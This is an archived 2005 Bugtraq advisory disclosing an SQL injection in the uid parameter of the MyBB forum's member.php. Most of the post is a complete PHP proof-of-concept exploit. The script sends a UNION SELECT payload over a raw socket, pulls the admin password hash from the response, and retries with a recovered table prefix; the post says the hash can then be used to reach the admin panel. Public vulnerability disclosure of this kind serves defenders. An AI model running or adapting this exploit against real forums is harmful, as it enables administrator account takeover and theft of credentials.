bugtraq - MyBB SQL Injection

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050105005302.16771.qmail@www.securityfocus.com>
Date: 5 Jan 2005 00:53:02 -0000
From: <scottm@...mcop.net>
To: bugtraq@...urityfocus.com
Subject: MyBB SQL Injection

Description:
MyBB is a powerful, efficient and free forum package developed in PHP and MySQL. MyBB has been designed with the end users in mind, you and your subscribers. Full control over your discussion system is presented right at the tip of your fingers, from multiple styles and themes to the ultimate customisation of your forums using the template system.

Exploit:
MyBB is prone to an SQL injection within the uid paramater of member.php, a Union attack can be used to obtain the admin password hash. The appropriate cookies can then be edited to allow admin panel access.

Proof of concept:
<?php
// the example below will attack http://www.example.com/mybb/
echo 'Pass:' . get_pass('www.example.com', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
	$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

	$query = implode('&', $query);

	$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
	$header .= "Host: $host\r\n";
	$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
	$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

	$fp = fsockopen($host, 80, $errno, $errstr, 30);
	fwrite($fp, $header . $query);

	$allah = '';
	while (!feof($fp)) {
		$tmp = fgets($fp, 1024);
		$allah .= $tmp;
	}
	fclose($fp);

	preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
	if (empty($matches[1]) && empty($dbprefix)) {
		preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
		$dbprefix = $matches[1];
		if (empty($dbprefix)) {
			return 'Unable to obtain password';
		}
		$password = get_pass($host, $path, $dbprefix);
	}
	else {
		$password = $matches[1];
	}

	return $password;
}

?>